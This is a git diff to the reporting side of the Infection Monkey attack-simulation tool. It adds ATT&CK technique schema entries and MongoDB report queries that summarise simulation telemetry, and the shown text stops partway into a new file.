+from monkey_island.cc.services.attack.technique_reports import T1090, T1041, T1222, T1005, T1018, T1016, T1021, T1064
from monkey_island.cc.services.attack.attack_config import AttackConfig
from monkey_island.cc.database import mongo
@@ -19,7 +21,22 @@ TECHNIQUES = {'T1210': T1210.T1210,
'T1086': T1086.T1086,
'T1082': T1082.T1082,
'T1145': T1145.T1145,
- 'T1065': T1065.T1065}
+ 'T1065': T1065.T1065,
+ 'T1105': T1105.T1105,
+ 'T1035': T1035.T1035,
+ 'T1129': T1129.T1129,
+ 'T1106': T1106.T1106,
+ 'T1107': T1107.T1107,
+ 'T1188': T1188.T1188,
+ 'T1090': T1090.T1090,
+ 'T1041': T1041.T1041,
+ 'T1222': T1222.T1222,
+ 'T1005': T1005.T1005,
+ 'T1018': T1018.T1018,
+ 'T1016': T1016.T1016,
+ 'T1021': T1021.T1021,
+ 'T1064': T1064.T1064
+ }
REPORT_NAME = 'new_report'
diff --git a/monkey/monkey_island/cc/services/attack/attack_schema.py b/monkey/monkey_island/cc/services/attack/attack_schema.py
index f2ef0dceb..c75678fdc 100644
--- a/monkey/monkey_island/cc/services/attack/attack_schema.py
+++ b/monkey/monkey_island/cc/services/attack/attack_schema.py
@@ -40,6 +40,23 @@ SCHEMA = {
"necessary": False,
"description": "Pass the hash (PtH) is a method of authenticating as a user without "
"having access to the user's cleartext password."
+ },
+ "T1105": {
+ "title": "T1105 Remote file copy",
+ "type": "bool",
+ "value": True,
+ "necessary": True,
+ "description": "Files may be copied from one system to another to stage "
+ "adversary tools or other files over the course of an operation."
+ },
+ "T1021": {
+ "title": "T1021 Remote services",
+ "type": "bool",
+ "value": True,
+ "necessary": False,
+ "depends_on": ["T1110"],
+ "description": "An adversary may use Valid Accounts to log into a service"
+ " specifically designed to accept remote connections."
}
}
},
@@ -54,7 +71,7 @@ SCHEMA = {
"necessary": False,
"description": "Adversaries may use brute force techniques to attempt access to accounts "
"when passwords are unknown or when password hashes are obtained.",
- "depends_on": ["T1210"]
+ "depends_on": ["T1210", "T1021"]
},
"T1003": {
"title": "T1003 Credential dumping",
@@ -91,6 +108,22 @@ SCHEMA = {
"necessary": True,
"description": "Adversaries may abuse BITS to download, execute, "
"and even clean up after running malicious code."
+ },
+ "T1107": {
+ "title": "T1107 File Deletion",
+ "type": "bool",
+ "value": True,
+ "necessary": True,
+ "description": "Adversaries may remove files over the course of an intrusion "
+ "to keep their footprint low or remove them at the end as part "
+ "of the post-intrusion cleanup process."
+ },
+ "T1222": {
+ "title": "T1222 File permissions modification",
+ "type": "bool",
+ "value": True,
+ "necessary": True,
+ "description": "Adversaries may modify file permissions/attributes to evade intended DACLs."
}
}
},
@@ -98,6 +131,33 @@ SCHEMA = {
"title": "Execution",
"type": "object",
"properties": {
+ "T1035": {
+ "title": "T1035 Service execution",
+ "type": "bool",
+ "value": True,
+ "necessary": False,
+ "description": "Adversaries may execute a binary, command, or script via a method "
+ "that interacts with Windows services, such as the Service Control Manager.",
+ "depends_on": ["T1210"]
+ },
+ "T1129": {
+ "title": "T1129 Execution through module load",
+ "type": "bool",
+ "value": True,
+ "necessary": False,
+ "description": "The Windows module loader can be instructed to load DLLs from arbitrary "
+ "local paths and arbitrary Universal Naming Convention (UNC) network paths.",
+ "depends_on": ["T1078", "T1003"]
+ },
+ "T1106": {
+ "title": "T1106 Execution through API",
+ "type": "bool",
+ "value": True,
+ "necessary": False,
+ "description": "Adversary tools may directly use the Windows application "
+ "programming interface (API) to execute binaries.",
+ "depends_on": ["T1210"]
+ },
"T1059": {
"title": "T1059 Command line interface",
"type": "bool",
@@ -113,6 +173,14 @@ SCHEMA = {
"necessary": True,
"description": "Adversaries can use PowerShell to perform a number of actions,"
" including discovery of information and execution of code.",
+ },
+ "T1064": {
+ "title": "T1064 Scripting",
+ "type": "bool",
+ "value": True,
+ "necessary": True,
+ "description": "Adversaries may use scripts to aid in operations and "
+ "perform multiple actions that would otherwise be manual.",
}
}
},
@@ -125,9 +193,43 @@ SCHEMA = {
"type": "bool",
"value": True,
"necessary": False,
+ "depends_on": ["T1016", "T1005"],
"description": "An adversary may attempt to get detailed information about the "
"operating system and hardware, including version, patches, hotfixes, "
"service packs, and architecture."
+ },
+ "T1018": {
+ "title": "T1018 Remote System Discovery",
+ "type": "bool",
+ "value": True,
+ "necessary": True,
+ "description": "Adversaries will likely attempt to get a listing of other systems by IP address, "
+ "hostname, or other logical identifier on a network for lateral movement."
+ },
+ "T1016": {
+ "title": "T1016 System network configuration discovery",
+ "type": "bool",
+ "value": True,
+ "necessary": False,
+ "depends_on": ["T1005", "T1082"],
+ "description": "Adversaries will likely look for details about the network configuration "
+ "and settings of systems they access or through information discovery"
+ " of remote systems."
+ }
+ }
+ },
+ "collection": {
+ "title": "Collection",
+ "type": "object",
+ "properties": {
+ "T1005": {
+ "title": "T1005 Data from local system",
+ "type": "bool",
+ "value": True,
+ "necessary": False,
+ "depends_on": ["T1016", "T1082"],
+ "description": "Sensitive data can be collected from local system sources, such as the file system "
+ "or databases of information residing on the system prior to Exfiltration."
}
}
},
@@ -142,8 +244,37 @@ SCHEMA = {
"necessary": True,
"description": "Adversaries may conduct C2 communications over a non-standard "
"port to bypass proxies and firewalls that have been improperly configured."
+ },
+ "T1090": {
+ "title": "T1090 Connection proxy",
+ "type": "bool",
+ "value": True,
+ "necessary": True,
+ "description": "A connection proxy is used to direct network traffic between systems "
+ "or act as an intermediary for network communications."
+ },
+ "T1188": {
+ "title": "T1188 Multi-hop proxy",
+ "type": "bool",
+ "value": True,
+ "necessary": True,
+ "description": "To disguise the source of malicious traffic, "
+ "adversaries may chain together multiple proxies."
}
}
},
+ "exfiltration": {
+ "title": "Exfiltration",
+ "type": "object",
+ "properties": {
+ "T1041": {
+ "title": "T1041 Exfiltration Over Command and Control Channel",
+ "type": "bool",
+ "value": True,
+ "necessary": True,
+ "description": "Data exfiltration is performed over the Command and Control channel."
+ }
+ }
+ }
}
}
diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1003.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1003.py
index a92758cbc..2b49f264d 100644
--- a/monkey/monkey_island/cc/services/attack/technique_reports/T1003.py
+++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1003.py
@@ -12,16 +12,16 @@ class T1003(AttackTechnique):
scanned_msg = ""
used_msg = "Monkey successfully obtained some credentials from systems on the network."
- query = {'telem_category': 'system_info_collection', '$and': [{'data.credentials': {'$exists': True}},
- # $gt: {} checks if field is not an empty object
- {'data.credentials': {'$gt': {}}}]}
+ query = {'telem_category': 'system_info', '$and': [{'data.credentials': {'$exists': True}},
+ # $gt: {} checks if field is not an empty object
+ {'data.credentials': {'$gt': {}}}]}
@staticmethod
def get_report_data():
data = {'title': T1003.technique_title()}
if mongo.db.telemetry.count_documents(T1003.query):
- status = ScanStatus.USED
+ status = ScanStatus.USED.value
else:
- status = ScanStatus.UNSCANNED
+ status = ScanStatus.UNSCANNED.value
data.update(T1003.get_message_and_status(status))
return data
diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1005.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1005.py
new file mode 100644
index 000000000..b84fe4a6f
--- /dev/null
+++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1005.py
@@ -0,0 +1,34 @@
+from monkey_island.cc.services.attack.technique_reports import AttackTechnique
+from monkey_island.cc.database import mongo
+
+__author__ = "VakarisZ"
+
+
+class T1005(AttackTechnique):
+
+ tech_id = "T1005"
+ unscanned_msg = "Monkey didn't gather any sensitive data from local system."
+ scanned_msg = ""
+ used_msg = "Monkey successfully gathered sensitive data from local system."
+
+ query = [{'$match': {'telem_category': 'attack',
+ 'data.technique': tech_id}},
+ {'$lookup': {'from': 'monkey',
+ 'localField': 'monkey_guid',
+ 'foreignField': 'guid',
+ 'as': 'monkey'}},
+ {'$project': {'monkey': {'$arrayElemAt': ['$monkey', 0]},
+ 'status': '$data.status',
+ 'gathered_data_type': '$data.gathered_data_type',
+ 'info': '$data.info'}},
+ {'$addFields': {'_id': 0,
+ 'machine': {'hostname': '$monkey.hostname', 'ips': '$monkey.ip_addresses'},
+ 'monkey': 0}},
+ {'$group': {'_id': {'machine': '$machine', 'gathered_data_type': '$gathered_data_type', 'info': '$info'}}},
+ {"$replaceRoot": {"newRoot": "$_id"}}]
+
+ @staticmethod
+ def get_report_data():
+ data = T1005.get_tech_base_data()
+ data.update({'collected_data': list(mongo.db.telemetry.aggregate(T1005.query))})
+ return data
diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1016.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1016.py
new file mode 100644
index 000000000..43d7c42b0
--- /dev/null
+++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1016.py
@@ -0,0 +1,35 @@
+from common.utils.attack_utils import ScanStatus
+from monkey_island.cc.services.attack.technique_reports import AttackTechnique
+from monkey_island.cc.database import mongo
+
+__author__ = "VakarisZ"
+
+
+class T1016(AttackTechnique):
+
+ tech_id = "T1016"
+ unscanned_msg = "Monkey didn't gather network configurations."
+ scanned_msg = ""
+ used_msg = "Monkey gathered network configurations on systems in the network."
+
+ query = [{'$match': {'telem_category': 'system_info'}},
+ {'$project': {'machine': {'hostname': '$data.hostname', 'ips': '$data.network_info.networks'},
+ 'networks': '$data.network_info.networks',
+ 'netstat': '$data.network_info.netstat'}},
+ {'$addFields': {'_id': 0,
+ 'netstat': 0,
+ 'networks': 0,
+ 'info': [
+ {'used': {'$and': [{'$ifNull': ['$netstat', False]}, {'$gt': ['$netstat', {}]}]},
+ 'name': {'$literal': 'Network connections (netstat)'}},
+ {'used': {'$and': [{'$ifNull': ['$networks', False]}, {'$gt': ['$networks', {}]}]},
+ 'name': {'$literal': 'Network interface info'}},
+ ]}}]
+
+ @staticmethod
+ def get_report_data():
+ network_info = list(mongo.db.telemetry.aggregate(T1016.query))
+ status = ScanStatus.USED.value if network_info else ScanStatus.UNSCANNED.value
+ data = T1016.get_base_data_by_status(status)
+ data.update({'network_info': network_info})
+ return data
diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1018.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1018.py
new file mode 100644
index 000000000..a955f6cc9
--- /dev/null
+++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1018.py
@@ -0,0 +1,39 @@
+from common.utils.attack_utils import ScanStatus
+from monkey_island.cc.services.attack.technique_reports import AttackTechnique
+from monkey_island.cc.database import mongo
+
+__author__ = "VakarisZ"
+
+
+class T1018(AttackTechnique):
+
+ tech_id = "T1018"
+ unscanned_msg = "Monkey didn't find any machines on the network."
+ scanned_msg = ""
+ used_msg = "Monkey found machines on the network."
+
+ query = [{'$match': {'telem_category': 'scan'}},
+ {'$sort': {'timestamp': 1}},
+ {'$group': {'_id': {'monkey_guid': '$monkey_guid'},
+ 'machines': {'$addToSet': '$data.machine'},
+ 'started': {'$first': '$timestamp'},
+ 'finished': {'$last': '$timestamp'}}},
+ {'$lookup': {'from': 'monkey',
+ 'localField': '_id.monkey_guid',
+ 'foreignField': 'guid',
+ 'as': 'monkey_tmp'}},
+ {'$addFields': {'_id': 0, 'monkey_tmp': {'$arrayElemAt': ['$monkey_tmp', 0]}}},
+ {'$addFields': {'monkey': {'hostname': '$monkey_tmp.hostname',
+ 'ips': '$monkey_tmp.ip_addresses'},
+ 'monkey_tmp': 0}}]
+
+ @staticmethod
+ def get_report_data():
+ scan_info = list(mongo.db.telemetry.aggregate(T1018.query))
+ if scan_info:
+ status = ScanStatus.USED.value
+ else:
+ status = ScanStatus.UNSCANNED.value
+ data = T1018.get_base_data_by_status(status)
+ data.update({'scan_info': scan_info})
+ return data
diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1021.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1021.py
new file mode 100644
index 000000000..d22583359
--- /dev/null
+++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1021.py
@@ -0,0 +1,51 @@
+from monkey_island.cc.database import mongo
+from monkey_island.cc.services.attack.technique_reports import AttackTechnique
+from common.utils.attack_utils import ScanStatus
+from monkey_island.cc.services.attack.technique_reports.technique_report_tools import parse_creds
+
+
+__author__ = "VakarisZ"
+
+
+class T1021(AttackTechnique):
+ tech_id = "T1021"
+ unscanned_msg = "Monkey didn't try to login to any remote services."
+ scanned_msg = "Monkey tried to login to remote services with valid credentials, but failed."
+ used_msg = "Monkey successfully logged into remote services on the network."
+
+ # Gets data about brute force attempts
+ query = [{'$match': {'telem_category': 'exploit',
+ 'data.attempts': {'$not': {'$size': 0}}}},
+ {'$project': {'_id': 0,
+ 'machine': '$data.machine',
+ 'info': '$data.info',
+ 'attempt_cnt': {'$size': '$data.attempts'},
+ 'attempts': {'$filter': {'input': '$data.attempts',
+ 'as': 'attempt',
+ 'cond': {'$eq': ['$$attempt.result', True]}
+ }
+ }
+ }
+ }]
+
+ scanned_query = {'telem_category': 'exploit',
+ 'data.attempts': {'$elemMatch': {'result': True}}}
+
+ @staticmethod
+ def get_report_data():
+ attempts = []
+ if mongo.db.telemetry.count_documents(T1021.scanned_query):
+ attempts = list(mongo.db.telemetry.aggregate(T1021.query))
+ if attempts:
+ status = ScanStatus.USED.value
+ for result in attempts:
+ result['successful_creds'] = []
+ for attempt in result['attempts']:
+ result['successful_creds'].append(parse_creds(attempt))
+ else:
+ status = ScanStatus.SCANNED.value
+ else:
+ status = ScanStatus.UNSCANNED.value
+ data = T1021.get_base_data_by_status(status)
+ data.update({'services': attempts})
+ return data
diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1035.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1035.py
new file mode 100644
index 000000000..2750c953c
--- /dev/null
+++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1035.py
@@ -0,0 +1,16 @@
+from monkey_island.cc.services.attack.technique_reports.usage_technique import UsageTechnique
+
+__author__ = "VakarisZ"
+
+
+class T1035(UsageTechnique):
+ tech_id = "T1035"
+ unscanned_msg = "Monkey didn't try to interact with Windows services."
+ scanned_msg = "Monkey tried to interact with Windows services, but failed."
+ used_msg = "Monkey successfully interacted with Windows services."
+
+ @staticmethod
+ def get_report_data():
+ data = T1035.get_tech_base_data()
+ data.update({'services': T1035.get_usage_data()})
+ return data
diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1041.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1041.py
new file mode 100644
index 000000000..1342b646e
--- /dev/null
+++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1041.py
@@ -0,0 +1,27 @@
+from monkey_island.cc.services.attack.technique_reports import AttackTechnique
+from monkey_island.cc.models.monkey import Monkey
+from common.utils.attack_utils import ScanStatus
+
+__author__ = "VakarisZ"
+
+
+class T1041(AttackTechnique):
+
+ tech_id = "T1041"
+ unscanned_msg = "Monkey didn't exfiltrate any info trough command and control channel."
+ scanned_msg = ""
+ used_msg = "Monkey exfiltrated info trough command and control channel."
+
+ @staticmethod
+ def get_report_data():
+ monkeys = list(Monkey.objects())
+ info = [{'src': monkey['command_control_channel']['src'],
+ 'dst': monkey['command_control_channel']['dst']}
+ for monkey in monkeys if monkey['command_control_channel']]
+ if info:
+ status = ScanStatus.USED.value
+ else:
+ status = ScanStatus.UNSCANNED.value
+ data = T1041.get_base_data_by_status(status)
+ data.update({'command_control_channel': info})
+ return data
diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1059.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1059.py
index 328c11112..ef15dd9fd 100644
--- a/monkey/monkey_island/cc/services/attack/technique_reports/T1059.py
+++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1059.py
@@ -27,8 +27,8 @@ class T1059(AttackTechnique):
cmd_data = list(mongo.db.telemetry.aggregate(T1059.query))
data = {'title': T1059.technique_title(), 'cmds': cmd_data}
if cmd_data:
- status = ScanStatus.USED
+ status = ScanStatus.USED.value
else:
- status = ScanStatus.UNSCANNED
+ status = ScanStatus.UNSCANNED.value
data.update(T1059.get_message_and_status(status))
return data
diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1064.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1064.py
new file mode 100644
index 000000000..0b1b05489
--- /dev/null
+++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1064.py
@@ -0,0 +1,18 @@
+from monkey_island.cc.services.attack.technique_reports.usage_technique import UsageTechnique
+from monkey_island.cc.database import mongo
+
+__author__ = "VakarisZ"
+
+
+class T1064(UsageTechnique):
+ tech_id = "T1064"
+ unscanned_msg = "Monkey didn't run scripts or tried to run and failed."
+ scanned_msg = ""
+ used_msg = "Monkey ran scripts on machines in the network."
+
+ @staticmethod
+ def get_report_data():
+ data = T1064.get_tech_base_data()
+ script_usages = list(mongo.db.telemetry.aggregate(T1064.get_usage_query()))
+ data.update({'scripts': script_usages})
+ return data
diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1065.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1065.py
index fd34e80e9..7d8ceb93e 100644
--- a/monkey/monkey_island/cc/services/attack/technique_reports/T1065.py
+++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1065.py
@@ -17,4 +17,4 @@ class T1065(AttackTechnique):
def get_report_data():
port = ConfigService.get_config_value(['cnc', 'servers', 'current_server']).split(':')[1]
T1065.used_msg = T1065.message % port
- return T1065.get_base_data_by_status(ScanStatus.USED)
+ return T1065.get_base_data_by_status(ScanStatus.USED.value)
diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1075.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1075.py
index fa65a66c2..623d157ae 100644
--- a/monkey/monkey_island/cc/services/attack/technique_reports/T1075.py
+++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1075.py
@@ -35,10 +35,10 @@ class T1075(AttackTechnique):
successful_logins = list(mongo.db.telemetry.aggregate(T1075.query))
data.update({'successful_logins': successful_logins})
if successful_logins:
- status = ScanStatus.USED
+ status = ScanStatus.USED.value
elif mongo.db.telemetry.count_documents(T1075.login_attempt_query):
- status = ScanStatus.SCANNED
+ status = ScanStatus.SCANNED.value
else:
- status = ScanStatus.UNSCANNED
+ status = ScanStatus.UNSCANNED.value
data.update(T1075.get_message_and_status(status))
return data
diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1082.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1082.py
index 79020c048..bc2645bb9 100644
--- a/monkey/monkey_island/cc/services/attack/technique_reports/T1082.py
+++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1082.py
@@ -12,7 +12,7 @@ class T1082(AttackTechnique):
scanned_msg = ""
used_msg = "Monkey gathered system info from machines in the network."
- query = [{'$match': {'telem_category': 'system_info_collection'}},
+ query = [{'$match': {'telem_category': 'system_info'}},
{'$project': {'machine': {'hostname': '$data.hostname', 'ips': '$data.network_info.networks'},
'aws': '$data.aws',
'netstat': '$data.network_info.netstat',
@@ -32,7 +32,9 @@ class T1082(AttackTechnique):
'name': {'$literal': 'SSH info'}},
{'used': {'$and': [{'$ifNull': ['$azure_info', False]}, {'$ne': ['$azure_info', []]}]},
'name': {'$literal': 'Azure info'}}
- ]}}]
+ ]}},
+ {'$group': {'_id': {'machine': '$machine', 'collections': '$collections'}}},
+ {"$replaceRoot": {"newRoot": "$_id"}}]
@staticmethod
def get_report_data():
@@ -40,8 +42,8 @@ class T1082(AttackTechnique):
system_info = list(mongo.db.telemetry.aggregate(T1082.query))
data.update({'system_info': system_info})
if system_info:
- status = ScanStatus.USED
+ status = ScanStatus.USED.value
else:
- status = ScanStatus.UNSCANNED
+ status = ScanStatus.UNSCANNED.value
data.update(T1082.get_message_and_status(status))
return data
diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1086.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1086.py
index 4114047c5..dd5d64d25 100644
--- a/monkey/monkey_island/cc/services/attack/technique_reports/T1086.py
+++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1086.py
@@ -29,8 +29,8 @@ class T1086(AttackTechnique):
cmd_data = list(mongo.db.telemetry.aggregate(T1086.query))
data = {'title': T1086.technique_title(), 'cmds': cmd_data}
if cmd_data:
- status = ScanStatus.USED
+ status = ScanStatus.USED.value
else:
- status = ScanStatus.UNSCANNED
+ status = ScanStatus.UNSCANNED.value
data.update(T1086.get_message_and_status(status))
return data
diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1090.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1090.py
new file mode 100644
index 000000000..7a6c830b8
--- /dev/null
+++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1090.py
@@ -0,0 +1,24 @@
+from monkey_island.cc.services.attack.technique_reports import AttackTechnique
+from common.utils.attack_utils import ScanStatus
+from monkey_island.cc.models import Monkey
+
+__author__ = "VakarisZ"
+
+
+class T1090(AttackTechnique):
+
+ tech_id = "T1090"
+ unscanned_msg = "Monkey didn't use connection proxy."
+ scanned_msg = ""
+ used_msg = "Monkey used connection proxy to communicate with machines on the network."
+
+ @staticmethod
+ def get_report_data():
+ monkeys = Monkey.get_tunneled_monkeys()
+ monkeys = [monkey.get_network_info() for monkey in monkeys]
+ status = ScanStatus.USED.value if monkeys else ScanStatus.UNSCANNED.value
+ data = T1090.get_base_data_by_status(status)
+ data.update({'proxies': monkeys})
+ return data
+
+
diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1105.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1105.py
new file mode 100644
index 000000000..3d95fd88d
--- /dev/null
+++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1105.py
@@ -0,0 +1,27 @@
+from monkey_island.cc.services.attack.technique_reports import AttackTechnique
+from monkey_island.cc.database import mongo
+
+__author__ = "VakarisZ"
+
+
+class T1105(AttackTechnique):
+
+ tech_id = "T1105"
+ unscanned_msg = "Monkey didn't try to copy files to any systems."
+ scanned_msg = "Monkey tried to copy files, but failed."
+ used_msg = "Monkey successfully copied files to systems on the network."
+
+ query = [{'$match': {'telem_category': 'attack',
+ 'data.technique': tech_id}},
+ {'$project': {'_id': 0,
+ 'src': '$data.src',
+ 'dst': '$data.dst',
+ 'filename': '$data.filename'}},
+ {'$group': {'_id': {'src': '$src', 'dst': '$dst', 'filename': '$filename'}}},
+ {"$replaceRoot": {"newRoot": "$_id"}}]
+
+ @staticmethod
+ def get_report_data():
+ data = T1105.get_tech_base_data()
+ data.update({'files': list(mongo.db.telemetry.aggregate(T1105.query))})
+ return data
diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1106.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1106.py
new file mode 100644
index 000000000..d07a66038
--- /dev/null
+++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1106.py
@@ -0,0 +1,16 @@
+from monkey_island.cc.services.attack.technique_reports.usage_technique import UsageTechnique
+
+__author__ = "VakarisZ"
+
+
+class T1106(UsageTechnique):
+ tech_id = "T1106"
+ unscanned_msg = "Monkey didn't try to directly use WinAPI."
+ scanned_msg = "Monkey tried to use WinAPI, but failed."
+ used_msg = "Monkey successfully used WinAPI."
+
+ @staticmethod
+ def get_report_data():
+ data = T1106.get_tech_base_data()
+ data.update({'api_uses': T1106.get_usage_data()})
+ return data
diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1107.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1107.py
new file mode 100644
index 000000000..9448c2e6b
--- /dev/null
+++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1107.py
@@ -0,0 +1,32 @@
+from monkey_island.cc.database import mongo
+from monkey_island.cc.services.attack.technique_reports import AttackTechnique
+
+__author__ = "VakarisZ"
+
+
+class T1107(AttackTechnique):
+ tech_id = "T1107"
+ unscanned_msg = ""
+ scanned_msg = "Monkey tried to delete files on systems in the network, but failed."
+ used_msg = "Monkey successfully deleted files on systems in the network."
+
+ query = [{'$match': {'telem_category': 'attack',
+ 'data.technique': 'T1107'}},
+ {'$lookup': {'from': 'monkey',
+ 'localField': 'monkey_guid',
+ 'foreignField': 'guid',
+ 'as': 'monkey'}},
+ {'$project': {'monkey': {'$arrayElemAt': ['$monkey', 0]},
+ 'status': '$data.status',
+ 'path': '$data.path'}},
+ {'$addFields': {'_id': 0,
+ 'machine': {'hostname': '$monkey.hostname', 'ips': '$monkey.ip_addresses'},
+ 'monkey': 0}},
+ {'$group': {'_id': {'machine': '$machine', 'status': '$status', 'path': '$path'}}}]
+
+ @staticmethod
+ def get_report_data():
+ data = T1107.get_tech_base_data()
+ deleted_files = list(mongo.db.telemetry.aggregate(T1107.query))
+ data.update({'deleted_files': deleted_files})
+ return data
diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1110.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1110.py
index a9bd24e70..72bb0af76 100644
--- a/monkey/monkey_island/cc/services/attack/technique_reports/T1110.py
+++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1110.py
@@ -1,7 +1,7 @@
from monkey_island.cc.database import mongo
from monkey_island.cc.services.attack.technique_reports import AttackTechnique
from common.utils.attack_utils import ScanStatus
-from monkey_island.cc.encryptor import encryptor
+from monkey_island.cc.services.attack.technique_reports.technique_report_tools import parse_creds
__author__ = "VakarisZ"
@@ -32,14 +32,14 @@ class T1110(AttackTechnique):
result['successful_creds'] = []
for attempt in result['attempts']:
succeeded = True
- result['successful_creds'].append(T1110.parse_creds(attempt))
+ result['successful_creds'].append(parse_creds(attempt))
if succeeded:
- status = ScanStatus.USED
+ status = ScanStatus.USED.value
elif attempts:
- status = ScanStatus.SCANNED
+ status = ScanStatus.SCANNED.value
else:
- status = ScanStatus.UNSCANNED
+ status = ScanStatus.UNSCANNED.value
data = T1110.get_base_data_by_status(status)
# Remove data with no successful brute force attempts
attempts = [attempt for attempt in attempts if attempt['attempts']]
@@ -47,47 +47,4 @@ class T1110(AttackTechnique):
data.update({'services': attempts})
return data
- @staticmethod
- def parse_creds(attempt):
- """
- Parses used credentials into a string
- :param attempt: login attempt from database
- :return: string with username and used password/hash
- """
- username = attempt['user']
- creds = {'lm_hash': {'type': 'LM hash', 'output': T1110.censor_hash(attempt['lm_hash'])},
- 'ntlm_hash': {'type': 'NTLM hash', 'output': T1110.censor_hash(attempt['ntlm_hash'], 20)},
- 'ssh_key': {'type': 'SSH key', 'output': attempt['ssh_key']},
- 'password': {'type': 'Plaintext password', 'output': T1110.censor_password(attempt['password'])}}
- for key, cred in list(creds.items()):
- if attempt[key]:
- return '%s ; %s : %s' % (username,
- cred['type'],
- cred['output'])
- @staticmethod
- def censor_password(password, plain_chars=3, secret_chars=5):
- """
- Decrypts and obfuscates password by changing characters to *
- :param password: Password or string to obfuscate
- :param plain_chars: How many plain-text characters should be kept at the start of the string
- :param secret_chars: How many * symbols should be used to hide the remainder of the password
- :return: Obfuscated string e.g. Pass****
- """
- if not password:
- return ""
- password = encryptor.dec(password)
- return password[0:plain_chars] + '*' * secret_chars
-
- @staticmethod
- def censor_hash(hash_, plain_chars=5):
- """
- Decrypts and obfuscates hash by only showing a part of it
- :param hash_: Hash to obfuscate
- :param plain_chars: How many chars of hash should be shown
- :return: Obfuscated string
- """
- if not hash_:
- return ""
- hash_ = encryptor.dec(hash_)
- return hash_[0: plain_chars] + ' ...'
diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1129.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1129.py
new file mode 100644
index 000000000..5f87faabb
--- /dev/null
+++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1129.py
@@ -0,0 +1,16 @@
+from monkey_island.cc.services.attack.technique_reports.usage_technique import UsageTechnique
+
+__author__ = "VakarisZ"
+
+
+class T1129(UsageTechnique):
+ tech_id = "T1129"
+ unscanned_msg = "Monkey didn't try to load any DLL's."
+ scanned_msg = "Monkey tried to load DLL's, but failed."
+ used_msg = "Monkey successfully loaded DLL's using Windows module loader."
+
+ @staticmethod
+ def get_report_data():
+ data = T1129.get_tech_base_data()
+ data.update({'dlls': T1129.get_usage_data()})
+ return data
diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1145.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1145.py
index 9b525873f..c4e5691ff 100644
--- a/monkey/monkey_island/cc/services/attack/technique_reports/T1145.py
+++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1145.py
@@ -12,7 +12,7 @@ class T1145(AttackTechnique):
used_msg = "Monkey found ssh keys on machines in the network."
# Gets data about ssh keys found
- query = [{'$match': {'telem_category': 'system_info_collection',
+ query = [{'$match': {'telem_category': 'system_info',
'data.ssh_info': {'$elemMatch': {'private_key': {'$exists': True}}}}},
{'$project': {'_id': 0,
'machine': {'hostname': '$data.hostname', 'ips': '$data.network_info.networks'},
@@ -23,9 +23,9 @@ class T1145(AttackTechnique):
ssh_info = list(mongo.db.telemetry.aggregate(T1145.query))
if ssh_info:
- status = ScanStatus.USED
+ status = ScanStatus.USED.value
else:
- status = ScanStatus.UNSCANNED
+ status = ScanStatus.UNSCANNED.value
data = T1145.get_base_data_by_status(status)
data.update({'ssh_info': ssh_info})
return data
diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1188.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1188.py
new file mode 100644
index 000000000..32187696a
--- /dev/null
+++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1188.py
@@ -0,0 +1,32 @@
+from monkey_island.cc.services.attack.technique_reports import AttackTechnique
+from monkey_island.cc.models.monkey import Monkey
+from common.utils.attack_utils import ScanStatus
+
+__author__ = "VakarisZ"
+
+
+class T1188(AttackTechnique):
+
+ tech_id = "T1188"
